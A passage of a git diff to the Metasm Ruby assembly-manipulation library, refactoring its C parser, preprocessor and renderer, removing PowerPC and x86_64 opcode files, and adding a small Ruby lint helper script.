end + end + + case op + when :'>', :'>=', :'<', :'<=', :'==', :'!=' + # cast both sides + l = CExpression[l, type] if l.type != type + r = CExpression[r, type] if r.type != type + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # promote result + stack << CExpression.new(l, op, r, type) + end + end + end + def parse(parser, scope, allow_coma = true) opstack = [] stack = [] - popstack = lambda { - r, l = stack.pop, stack.pop - case op = opstack.pop - when :'?:' - stack << CExpression.new(stack.pop, op, [l, r], l.type) - when :',' - stack << CExpression.new(l, op, r, r.type) - when :'=' - parser.check_compatible_type(parser, r.type, l.type) - stack << CExpression.new(l, op, r, l.type) - when :'&&', :'||' - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # XXX struct == struct ? - raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c - raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c - - if l.type.pointer? and r.type.pointer? - type = \ - case op - when :'-'; BaseType.new(:long) # addr_t or sumthin ? - when :'-='; l.type - when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) - else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type - end - elsif l.type.pointer? or r.type.pointer? - puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op - type = l.type.pointer? ? l.type : r.type - else - # yay integer promotion - lt = l.type.untypedef - rt = r.type.untypedef - if (t = lt).name == :longdouble or (t = rt).name == :longdouble or - (t = lt).name == :double or (t = rt).name == :double or - (t = lt).name == :float or (t = rt).name == :float - # long double > double > float ... - type = t - elsif true - # custom integer rules based on type sizes - lts = parser.typesize[lt.name] - rts = parser.typesize[rt.name] - its = parser.typesize[:int] - if not lts or not rts - type = BaseType.new(:int) - elsif lts > rts and lts >= its - type = lt - elsif rts > lts and rts >= its - type = rt - elsif lts == rts and lts >= its - type = lt - type = rt if rt.specifier == :unsigned - else - type = BaseType.new(:int) - end - # end of custom rules - elsif ((t = lt).name == :long and t.specifier == :unsigned) or - ((t = rt).name == :long and t.specifier == :unsigned) - # ... ulong ... - type = t - elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or - (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) - # long+uint => ulong - type = BaseType.new(:long, :unsigned) - elsif (t = lt).name == :long or (t = rt).name == :long or - ((t = lt).name == :int and t.specifier == :unsigned) or - ((t = rt).name == :int and t.specifier == :unsigned) - # ... long > uint ... - type = t - else - # int - type = BaseType.new(:int) - end - end - - case op - when :'>', :'>=', :'<', :'<=', :'==', :'!=' - # cast both sides - l = CExpression[l, type] if l.type != type - r = CExpression[r, type] if r.type != type - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # promote result - stack << CExpression.new(l, op, r, type) - end - end - } - return if not e = parse_value(parser, scope) stack << e @@ -2783,7 +2913,7 @@ EOH when :'?' # a, b ? c, d : e, f == a, (b ? (c, d) : e), f until opstack.empty? or OP_PRIO[opstack.last][:'?:'] - popstack[] + parse_popstack(parser, stack, opstack) end stack << parse(parser, scope) raise op || parser, '":" expected' if not op = readop(parser) or op.value != :':' @@ -2798,7 +2928,7 @@ EOH break end until opstack.empty? or OP_PRIO[op.value][opstack.last] - popstack[] + parse_popstack(parser, stack, opstack) end end @@ -2808,7 +2938,7 @@ EOH end until opstack.empty? - popstack[] + parse_popstack(parser, stack, opstack) end CExpression[stack.first] @@ -2830,16 +2960,19 @@ EOH # stroff is the offset from the start of this string (non-nul for nested structs) # cp is a reference to the C::Parser # struct to the C::Union/Struct/Array - # length is the byte size of the C struct - # XXX for an Array, it's also the byte size, check obj.struct.length for number of elements - attr_accessor :str, :stroff, :cp, :struct, :length + # sizeof is the byte size of the C struct + attr_accessor :str, :stroff, :cp, :struct + attr_writer :sizeof def initialize(cp, struct, str=nil, stroff=0) @cp, @struct = cp, struct - @length = @cp.sizeof(@struct) - @str = str || [0].pack('C')*@length + @str = str || [0].pack('C')*sizeof @stroff = stroff end + def sizeof + @sizeof ||= @cp.sizeof(@struct) + end + def [](*a) if @struct.kind_of? C::Array and a.length == 1 and @struct.length and a[0].kind_of? Integer i = a[0] @@ -2897,9 +3030,10 @@ EOH end a, val = a - raise "#{a.inspect} not a struct member" if not a.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) - a = f.name if a.kind_of? String or a.kind_of? Symbol - val = @length if val == :size + f = a + raise "#{a.inspect} not a struct member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) + a = f.name || f + val = sizeof if val == :size off = @stroff + @struct.offsetof(@cp, a) if bf = @struct.bitoffsetof(@cp, a) @@ -2932,14 +3066,14 @@ EOH def to_s(off=nil, maxdepth=500) return '{ /* ... */ }' if maxdepth <= 0 str = [''] - if @struct.kind_of? C::Array + if @struct.kind_of?(C::Array) str.last << "#{@struct.type} x[#{@struct.length}] = " if not off mlist = (0...@struct.length) fldoff = mlist.inject({}) { |h, i| h.update i => i*@cp.sizeof(@struct.type) } - elsif @struct.kind_of? C::Struct + elsif @struct.kind_of?(C::Struct) str.last << "struct #{@struct.name || '_'} x = " if not off + @struct.update_member_cache(@cp) if not @struct.fldlist fldoff = @struct.fldoffset - fbo = @struct.fldbitoffset || {} mlist = @struct.members.map { |m| m.name || m } else str.last << "union #{@struct.name || '_'} x = " if not off @@ -2947,7 +3081,7 @@ EOH end str.last << '{' mlist.each { |k| - if k.kind_of? C::Variable # anonymous member + if k.kind_of? Variable # anonymous member curoff = off.to_i + @struct.offsetof(@cp, k) val = self[k] k = '?' @@ -2955,7 +3089,7 @@ EOH curoff = off.to_i + (fldoff ? fldoff[k].to_i : 0) val = self[k] end - if val.kind_of? Integer + if val.kind_of?(::Integer) if val >= 0x100 val = '0x%X, // +%x' % [val, curoff] elsif val <= -0x100 @@ -2971,7 +3105,7 @@ EOH val = val.to_s.sub(/$/, ', // +%x' % curoff) end val = val.gsub("\n", "\n\t") - str << "\t#{k.kind_of?(Integer) ? "[#{k}]" : ".#{k}"} = #{val}" + str << "\t#{k.kind_of?(::Integer) ? "[#{k}]" : ".#{k}"} = #{val}" } str << '}' str.last << (off ? ',' : ';') @@ -3170,8 +3304,7 @@ EOH all = @toplevel.struct.values + @toplevel.symbol.values all -= all.grep(::Integer) # Enum values - r, dep = @toplevel.dump_reorder(all, todo_rndr, todo_deps) - r.join("\n") + @toplevel.dump_reorder(all, todo_rndr, todo_deps)[0].join("\n") end # returns a string containing the C definition(s) of toplevel functions, with their dependencies @@ -3750,7 +3883,7 @@ EOH r.last << 'asm ' r.last << 'volatile ' if @volatile r.last << '(' - r.last << @body.inspect + r.last << CExpression.string_inspect(@body) if @output or @input or @clobber if @output and @output != [] # TODO @@ -3768,13 +3901,18 @@ EOH end end if @clobber and @clobber != [] - r << (': ' << @clobber.map { |c| c.inspect }.join(', ')) + r << (': ' << @clobber.map { |c| CExpression.string_inspect(c) }.join(', ')) end r.last << ');' [r, dep] end end class CExpression + def self.string_inspect(s) + # keep all ascii printable except \ and " + '"' + s.gsub(/[^ !\x23-\x5b\x5d-\x7e]/) { |o| '\\x' + o.unpack('H*').first } + '"' + end + def self.dump(e, scope, r=[''], dep=[], brace = false) if $DEBUG brace = false @@ -3787,7 +3925,7 @@ EOH r, dep = \ case e when ::Numeric; r.last << e.to_s ; [r, dep] - when ::String; r.last << e.inspect ; [r, dep] + when ::String; r.last << string_inspect(e) ; [r, dep] when CExpression; e.dump_inner(scope, r, dep, brace) when Variable; e.dump(scope, r, dep) when nil; [r, dep] @@ -3832,7 +3970,7 @@ EOH end when ::String r.last << 'L' if @type.kind_of? Pointer and @type.type.kind_of? BaseType and @type.type.name == :short - r.last << @rexpr.inspect + r.last << CExpression.string_inspect(@rexpr) when CExpression # cast r, dep = @type.dump_cast(scope, r, dep) r, dep = CExpression.dump(@rexpr, scope, r, dep, true) @@ -3866,7 +4004,7 @@ EOH l = lexpr.lexpr.type.pointed.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'->' # honor __attribute__((indexenum(enumname))) if l and l.attributes and rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr.kind_of? ::Integer and - n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) + n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) r.last << i dep |= [enum] else diff --git a/lib/metasm/metasm/ppc/parse.rb b/lib/metasm/metasm/ppc/parse.rb deleted file mode 100644 index 0ec1025fb6..0000000000 --- a/lib/metasm/metasm/ppc/parse.rb +++ /dev/null @@ -1,52 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/opcodes' -require 'metasm/parse' - -module Metasm -class PowerPC -# TODO - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/preprocessor.rb b/lib/metasm/metasm/preprocessor.rb index 899f707210..842f4ad8bf 100644 --- a/lib/metasm/metasm/preprocessor.rb +++ b/lib/metasm/metasm/preprocessor.rb @@ -84,7 +84,7 @@ class Preprocessor # modifies the list, returns an array of list of tokens/nil # handles nesting def self.parse_arglist(lexer, list=nil) - readtok = lambda { list ? list.shift : lexer.readtok(false) } + readtok = lambda { list ? list.shift : lexer.readtok_nopp } unreadtok = lambda { |t| list ? (list.unshift(t) if t) : lexer.unreadtok(t) } tok = nil unreadlist = [] @@ -378,6 +378,7 @@ class Preprocessor # hash filename => file content attr_accessor :hooked_include attr_accessor :warn_redefinition + attr_accessor :may_preprocess # global default search directory for #included @@include_search_path = ['/usr/include'] @@ -385,18 +386,14 @@ class Preprocessor def self.include_search_path=(np) @@include_search_path=np end def initialize(text='') - @queue = [] @backtrace = [] @definition = %w[__FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__].inject({}) { |h, n| h.update n => SpecialMacro.new(n) } @include_search_path = @@include_search_path.dup # stack of :accept/:discard/:discard_all/:testing, represents the current nesting of #if..#endif @ifelse_nesting = [] - @text = text - @pos = 0 - @filename = 'unknown' - @lineno = 1 @warn_redefinition = true @hooked_include = {} + @may_preprocess = false @pragma_once = {} @pragma_callback = lambda { |otok| tok = otok @@ -405,6 +402,7 @@ class Preprocessor unreadtok tok puts otok.exception("unhandled pragma #{str.inspect}").message if $VERBOSE } + feed!(text) define '__METASM__', VERSION end @@ -493,11 +491,16 @@ class Preprocessor def feed!(text, filename='unknown', lineno=1) raise ArgumentError, 'need something to parse!' if not text @text = text + if not @may_preprocess and (@text =~ /^\s*(#|\?\?=)/ or (not @definition.empty? and + @text =~ /#{@definition.keys.map { |k| Regexp.escape(k) }.join('|')}/)) + @may_preprocess = true + end # @filename[-1] used in trace_macros to distinguish generic/specific files @filename = "\"#{filename}\"" @lineno = lineno @pos = 0 @queue = [] + @backtrace = [] self end @@ -512,7 +515,7 @@ class Preprocessor # reads one character from self.text # updates self.lineno - # handles trigraphs and \-continued lines + # handles \-continued lines def getchar @ungetcharpos = @pos @ungetcharlineno = @lineno @@ -520,11 +523,11 @@ class Preprocessor @pos += 1 # check trigraph - if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] - puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE - c = Trigraph[@text[@pos+1]] - @pos += 2 - end + #if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] + # puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE + # c = Trigraph[@text[@pos+1]] + # @pos += 2 + #end # check line continuation # TODO portability @@ -567,9 +570,9 @@ class Preprocessor end # calls readtok_nopp and handles preprocessor directives - def readtok(expand_macros = true) - lastpos = @pos + def readtok tok = readtok_nopp + return tok if not @may_preprocess # shortcut if not tok # end of file: resume parent @@ -579,32 +582,41 @@ class Preprocessor tok = readtok end - elsif (tok.type == :eol or lastpos == 0) and @ifelse_nesting.last != :testing - unreadtok tok if lastpos == 0 - # detect preprocessor directive - # state = 1 => seen :eol, 2 => seen # + elsif tok.type == :punct and tok.raw == '#' and not tok.expanded_from and @ifelse_nesting.last != :testing + # backward check for :eol (skip the '#' itself) + pos = @pos-2 + while pos >= 0 # if reach start of file, proceed + case @text[pos, 1] + when "\n" + pos -= 1 if pos > 0 and @text[pos-1] == ?\r + return tok if pos > 0 and @text[pos-1] == ?\\ # check if the newline was a line-continuation + return tok if pos > 2 and @text[pos-3, 3] == '??/' # trigraph + break # proceed + when /\s/ # beware switch order, this matches "\n" too + else return tok # false alarm + end + pos -= 1 + end pretok = [] rewind = true - state = 1 - loop do - pretok << (ntok = readtok_nopp) - break if not ntok + while ntok = readtok_nopp + pretok << ntok if ntok.type == :space # nothing - elsif state == 1 and ntok.type == :punct and ntok.raw == '#' and not ntok.expanded_from - state = 2 - elsif state == 2 and ntok.type == :string and not ntok.expanded_from + next + elsif ntok.type == :string and not ntok.expanded_from rewind = false if preprocessor_directive(ntok) - break - else break end + break end if rewind # false alarm: revert pretok.reverse_each { |t| unreadtok t } + else + # XXX return :eol ? + tok = readtok end - tok = readtok if lastpos == 0 # else return the :eol - elsif expand_macros and tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and + elsif tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and ((m.args and margs = Macro.parse_arglist(self)) or not m.args) if defined? @traced_macros and tok.backtrace[-2].to_s[0] == ?" and m.name and m.name.backtrace[-2].to_s[0] == ?< @@ -637,21 +649,20 @@ class Preprocessor when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ tok.type = :string raw = tok.raw << c - loop do - case c = getchar - when nil; ungetchar; break # avoids 'no method "coerce" for nil' warning + while c = getchar + case c when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ - raw << c - else ungetchar; break + else break end + raw << c end + ungetchar when ?\ , ?\t, ?\r, ?\n, ?\f tok.type = ((c == ?\ || c == ?\t) ? :space : :eol) raw = tok.raw << c - loop do - case c = getchar - when nil; break + while c = getchar + case c when ?\ , ?\t when ?\n, ?\f, ?\r; tok.type = :eol else break @@ -676,8 +687,7 @@ class Preprocessor tok.type = :space raw << c seenstar = false - loop do - raise tok, 'unterminated c++ comment' if not c = getchar + while c = getchar raw << c case c when ?*; seenstar = true @@ -685,6 +695,7 @@ class Preprocessor else seenstar = false end end + raise tok, 'unterminated c++ comment' if not c else # just a slash ungetchar @@ -704,59 +715,60 @@ class Preprocessor def readtok_nopp_str(tok, delimiter) tok.type = :quoted tok.raw << delimiter - tok.value = '' + tok.value = '' + tok.value.force_encoding('binary') if tok.value.respond_to?(:force_encoding) c = nil - loop do - raise tok, 'unterminated string' if not c = getchar + loop do + raise tok, 'unterminated string' if not c = getchar + tok.raw << c + case c + when delimiter; break + when ?\\ + raise tok, 'unterminated escape' if not c = getchar tok.raw << c + tok.value << \ case c - when delimiter; break - when ?\\ - raise tok, 'unterminated escape' if not c = getchar - tok.raw << c - tok.value << \ - case c - when ?n; ?\n - when ?r; ?\r - when ?t; ?\t - when ?a; ?\a - when ?b; ?\b - when ?v; ?\v - when ?f; ?\f - when ?e; ?\e - when ?#, ?\\, ?', ?"; c - when ?\n; '' # already handled by getchar - when ?x; - hex = '' - while hex.length < 2 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?9, ?a..?f, ?A..?F - else ungetchar; break - end - hex << c - tok.raw << c + when ?n; ?\n + when ?r; ?\r + when ?t; ?\t + when ?a; ?\a + when ?b; ?\b + when ?v; ?\v + when ?f; ?\f + when ?e; ?\e + when ?#, ?\\, ?', ?"; c + when ?\n; '' # already handled by getchar + when ?x; + hex = '' + while hex.length < 2 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?9, ?a..?f, ?A..?F + else ungetchar; break end - raise tok, 'unterminated escape' if hex.empty? - hex.hex - when ?0..?7; - oct = '' << c - while oct.length < 3 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?7 - else ungetchar; break - end - oct << c - tok.raw << c - end - oct.oct - else c # raise tok, 'unknown escape sequence' + hex << c + tok.raw << c end - when ?\n; ungetchar ; raise tok, 'unterminated string' - else tok.value << c + raise tok, 'unterminated escape' if hex.empty? + hex.hex + when ?0..?7; + oct = '' << c + while oct.length < 3 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?7 + else ungetchar; break + end + oct << c + tok.raw << c + end + oct.oct + else c # raise tok, 'unknown escape sequence' end + when ?\n; ungetchar ; raise tok, 'unterminated string' + else tok.value << c end + end tok end @@ -767,6 +779,9 @@ class Preprocessor def define(name, value=nil, from=caller.first) from =~ /^(.*?):(\d+)/ btfile, btlineno = $1, $2.to_i + if not @may_preprocess and @text =~ /#{Regexp.escape name}/ + @may_preprocess = true + end t = Token.new([btfile, btlineno]) t.type = :string t.raw = name.dup @@ -1095,7 +1110,7 @@ class Preprocessor nil while dir = readtok and dir.type == :space raise cmd, 'qstring expected' if not dir or dir.type != :quoted dir = ::File.expand_path dir.value - raise cmd, "invalid path #{dir}" if not ::File.directory? dir + raise cmd, "invalid path #{dir.inspect}" if not ::File.directory? dir @include_search_path.unshift dir when 'push_macro', 'pop_macro' diff --git a/lib/metasm/metasm/render.rb b/lib/metasm/metasm/render.rb index f60326435f..9c2fcb9b3f 100644 --- a/lib/metasm/metasm/render.rb +++ b/lib/metasm/metasm/render.rb @@ -19,8 +19,10 @@ module Renderable r = proc { |e| case e when Expression - yield e r[e.lexpr] ; r[e.rexpr] + yield e + when ExpressionType + yield e when Renderable e.render.each { |re| r[re] } end @@ -64,67 +66,41 @@ end class Expression include Renderable - attr_accessor :render_info - - # this is an accessor to @@render_int, the lambda used to render integers > 10 - # usage: Expression.render_int = lambda { |e| '0x%x' % e } - # or Expression.render_int { |e| '0x%x' % e } - # XXX the returned string should be suitable for inclusion in a label name etc - def self.render_int(&b) - if b - @@render_int = b - else - @@render_int - end - end - def self.render_int=(p) - @@render_int = p - end - @@render_int = nil def render_integer(e) - if render_info and @render_info[:char] - ee = e - v = [] - while ee > 0 - v << (ee & 0xff) - ee >>= 8 - end - v.reverse! if @render_info[:char] == :big - if not v.empty? and v.all? { |c| c < 0x7f } - # XXX endianness - return "'" + v.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + "'" - end - end - if e < 0 - neg = true - e = -e - end - if e < 10; e = e.to_s - elsif @@render_int - e = @@render_int[e] - else - e = '%xh' % e - e = '0' << e unless (?0..?9).include? e[0] - end - e = '-' << e if neg - e + if e < 0 + neg = true + e = -e + end + if e < 10; e = e.to_s + else + e = '%xh' % e + e = '0' << e unless (?0..?9).include? e[0] + end + e = '-' << e if neg + e end NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]} NOSQ2[:-] = [:*] def render - l = @lexpr.kind_of?(Integer) ? render_integer(@lexpr) : @lexpr - r = @rexpr.kind_of?(Integer) ? render_integer(@rexpr) : @rexpr - l = ['(', l, ')'] if @lexpr.kind_of? Expression and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) - r = ['(', r, ')'] if @rexpr.kind_of? Expression and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) + l = @lexpr.kind_of?(::Integer) ? render_integer(@lexpr) : @lexpr + r = @rexpr.kind_of?(::Integer) ? render_integer(@rexpr) : @rexpr + l = ['(', l, ')'] if @lexpr.kind_of?(Expression) and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) + r = ['(', r, ')'] if @rexpr.kind_of?(Expression) and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) op = @op if l or @op != :+ if op == :+ r0 = [r].flatten.first r0 = r0.render.flatten.first while r0.kind_of? Renderable - op = nil if (r0.kind_of? Integer and r0 < 0) or (r0.kind_of? String and r0[0] == ?-) or r0 == :- + op = nil if (r0.kind_of?(::Integer) and r0 < 0) or (r0.kind_of?(::String) and r0[0] == ?-) or r0 == :- end [l, op, r].compact end end + +class ExpressionString + include Renderable + + def render; hide_str ? @expr.render : render_str ; end +end end diff --git a/lib/metasm/metasm/x86_64.rb b/lib/metasm/metasm/x86_64.rb deleted file mode 100644 index 472d12f8c3..0000000000 --- a/lib/metasm/metasm/x86_64.rb +++ /dev/null @@ -1,12 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/x86_64/parse' -require 'metasm/x86_64/encode' -require 'metasm/x86_64/decode' -require 'metasm/x86_64/debug' -require 'metasm/x86_64/compile_c' diff --git a/lib/metasm/metasm/x86_64/opcodes.rb b/lib/metasm/metasm/x86_64/opcodes.rb deleted file mode 100644 index 9c47611f64..0000000000 --- a/lib/metasm/metasm/x86_64/opcodes.rb +++ /dev/null @@ -1,117 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/main' -require 'metasm/ia32/opcodes' - -module Metasm -class X86_64 - def init_cpu_constants - super() - @valid_args.concat [:i32, :u32, :i64, :u64] - @valid_args - end - - def init_386_common_only - super() - # :imm64 => accept a real int64 as :i argument - # :auto64 => ignore rex_w, always 64-bit op - # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest - @valid_props |= [:imm64, :auto64, :op32no64] - @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix - @opcode_list.each { |o| - o.props[:imm64] = true if o.bin == [0xB8] # mov reg, - o.props[:auto64] = true if o.name =~ /^(j|loop|(call|enter|leave|lgdt|lidt|lldt|ltr|pop|push|ret)$)/ - #o.props[:op32no64] = true if o.name =~ // # TODO are there any instr here ? - } - addop 'movsxd', [0x63], :mrm - end - - # all x86_64 cpu understand <= sse2 instrs - def init_x8664_only - init_386_common_only - init_386_only - init_387_only # 387 indeed - init_486_only - init_pentium_only - init_p6_only - init_sse_only - init_sse2_only - - @opcode_list.delete_if { |o| - o.args.include?(:seg2) or - o.args.include?(:seg2A) or - %w[lds les loadall arpl pusha pushad popa popad].include?(o.name) - } - - addop 'swapgs', [0x0F, 0x01, 0xF8] - end - - def init_sse3 - init_x8664_only - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - def addop_macrostr(name, bin, type) - super(name, bin, type) - bin = bin.dup - bin[0] |= 1 - addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } - end - - def addop_post(op) - if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 - return super(op) - end - - dupe = lambda { |o| - dop = Opcode.new o.name.dup, o.bin.dup - dop.fields, dop.props, dop.args = o.fields.dup, o.props.dup, o.args.dup - dop - } - - @opcode_list << op - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - # push call ret jz can't 32bit - op64 = dupe[op] - op64.name << '.i64' - op64.props[:opsz] = 64 - @opcode_list << op64 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (movsq) - # XXX loop pfx 67 = rip+ecx, 66/rex ignored - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - op64 = dupe[op] - op64.name << '.a64' - op64.props[:adsz] = 64 - @opcode_list << op64 - end - end -end -end diff --git a/lib/metasm/misc/hexdump.rb b/lib/metasm/misc/hexdump.rb index 0670a4208f..98cce4cad4 100644 --- a/lib/metasm/misc/hexdump.rb +++ b/lib/metasm/misc/hexdump.rb @@ -51,5 +51,6 @@ if $0 == __FILE__ fmt << 'd' if ARGV.delete '-D' fmt << 'a' if ARGV.delete '-A' fmt = ['c', 'd', 'a'] if ARGV.delete '-a' - File.open(ARGV.first, 'rb').hexdump(:fmt => fmt) + infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb') + infd.hexdump(:fmt => fmt) end diff --git a/lib/metasm/misc/lint.rb b/lib/metasm/misc/lint.rb new file mode 100644 index 0000000000..c6032935fa --- /dev/null +++ b/lib/metasm/misc/lint.rb @@ -0,0 +1,58 @@ +#!/usr/bin/ruby +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# this is a ruby code cleaner tool +# it passes its argument to ruby -v -c, which displays warnings (eg unused variable) +# it shows the incriminated line along the warning, to help identify false positives +# probably linux-only, and need ruby-1.9.1 or newer + +def lint(tg) + if File.symlink?(tg) + # nothing + elsif File.directory?(tg) + Dir.entries(tg).each { |ent| + next if ent == '.' or ent == '..' + ent = File.join(tg, ent) + lint(ent) if File.directory?(ent) or ent =~ /\.rb$/ + } + else + lint_file(tg) + end +end + +def lint_file(tg) + flines = nil + compile_warn(tg).each_line { |line| + file, lineno, warn = line.split(/\s*:\s*/, 3) + if file == tg + if not flines + puts "#{tg}:" + flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines } + end + puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}" + end + } + puts if flines +end + +def compile_warn(tg) + r, w = IO.pipe('binary') + if !fork + r.close + $stderr.reopen w + $stdout.reopen '/dev/null' + exec 'ruby', '-v', '-c', tg + exit! + else + w.close + end + r +end + +ARGV << '.' if ARGV.empty? +ARGV.each { |arg| lint arg } + diff --git a/lib/metasm/misc/txt2html.rb b/lib/metasm/misc/txt2html.rb index 647df94727..3694a6245d 100644 --- a/lib/metasm/misc/txt2html.rb +++ b/lib/metasm/misc/txt2html.rb @@ -1,4 +1,5 @@ #!/usr/bin/env ruby +# encoding: binary (rage) # This file is part of Metasm, the Ruby assembly manipulation suite # Copyright (C) 2006-2009 Yoann GUILLOT # @@ -48,7 +49,7 @@ class Elem if e.class.ancestors.include? Elem @content << e else - @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})")) { |x| @@quotechars[x] } + @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})", 'm')) { |x| @@quotechars[x] } end } self @@ -273,7 +274,7 @@ class Txt2Html puts "compiling #{outf}..." if $VERBOSE @pathfix = outf.split('/')[0...-1].map { '../' }.join - out = compile(File.read(f).gsub("\r", '') + "\n\n") + out = compile(File.open(f, 'rb') { |fd| fd.read }.gsub("\r", '') + "\n\n") File.open(outf, 'wb') { |fd| fd.write out.to_s.gsub("\r", '').gsub("\n", "\r\n") } end @@ -338,8 +339,8 @@ class Txt2Html if pl = state[:list][bullet.chop] pl.content.last.content << lst else - out.body << lst - end + out.body << lst + end end lst.add_line compile_string(text) @@ -358,9 +359,9 @@ class Txt2Html lst = state[:list].sort.last[1] lst.content.last.content << ' ' << compile_string(l) else - prev << ' ' if prev.length > 0 - prev << l - end + prev << ' ' if prev.length > 0 + prev << l + end end } flush[] @@ -368,13 +369,13 @@ class Txt2Html out end - # handle **bold_words** *italic* `fixed` + # handle **bold_words** *italic* `fixed` **bold__word__with__underscore** def compile_string(str) o = [str] on = [] o.each { |s| while s.kind_of? String and o1 = s.index('**') and o2 = s.index('**', o1+2) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+2..-1] end on << s @@ -383,7 +384,7 @@ class Txt2Html on = [] o.each { |s| while s.kind_of? String and o1 = s.index('*') and o2 = s.index('*', o1+1) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+1..-1] end on << s @@ -409,19 +410,20 @@ class Txt2Html when 'txt' tg = 